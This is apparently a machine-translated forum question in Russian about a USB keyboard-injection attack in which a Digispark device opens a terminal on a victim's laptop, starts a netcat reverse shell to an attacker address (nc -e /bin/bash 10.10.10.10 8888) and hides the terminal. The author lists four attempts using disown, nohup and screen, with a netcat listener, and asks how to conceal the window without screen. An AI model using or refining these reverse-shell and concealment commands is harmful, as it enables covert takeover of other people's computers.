СЦЕНАРИЙ: злоумышленник вставляет в ноутбук жертвы USB-порт, который действует как клавиатура. Полезная нагрузка открывает терминал, выполняет обратную оболочку и скрывает терминал.
ПРОБЛЕМА: тесты, которые я проводил локально (ubuntu 19.04 и digispark как usb), следующие:
ONE
терминал A nc -e /bin/bash 10.10.10.10 8888
терминал B nc -vlp 8888
Все работает, у меня shell с подсказкой на терминале B, но терминал A не скрыт. Тогда он в данном случае бесполезен.
ДВА
клемма A nc -e /bin/bash 10.10.10.10 8888&; disown; exit
клемма B nc -vlp 8888
клемма B просто зависает, а терминал A скрыт. Бесполезно.
ТРИ
клемма A nohup nc -e /bin/bash 10.10.10.10 8888&; exit
клемма B nc -vlp 8888
клемма B просто зависает, а клемма A скрыт
ЧЕТЫРЕ
терминал A: я открываю screen
, затем выполняю nc -e /bin/bash 10.10.10.10 8888
, CTRL^A
, затем d
и, наконец, exit
.
терминал B nc -vlp 8888
с использованием screen
все работает (терминал B получает рабочую оболочку, а терминал A не виден), но я не хочу использовать экран, потому что это не так установлено по умолчанию.
ВОПРОС: есть ли способ ( с использованием предустановленных инструментов ) скрыть терминал без screen
, но с тем же эффектом?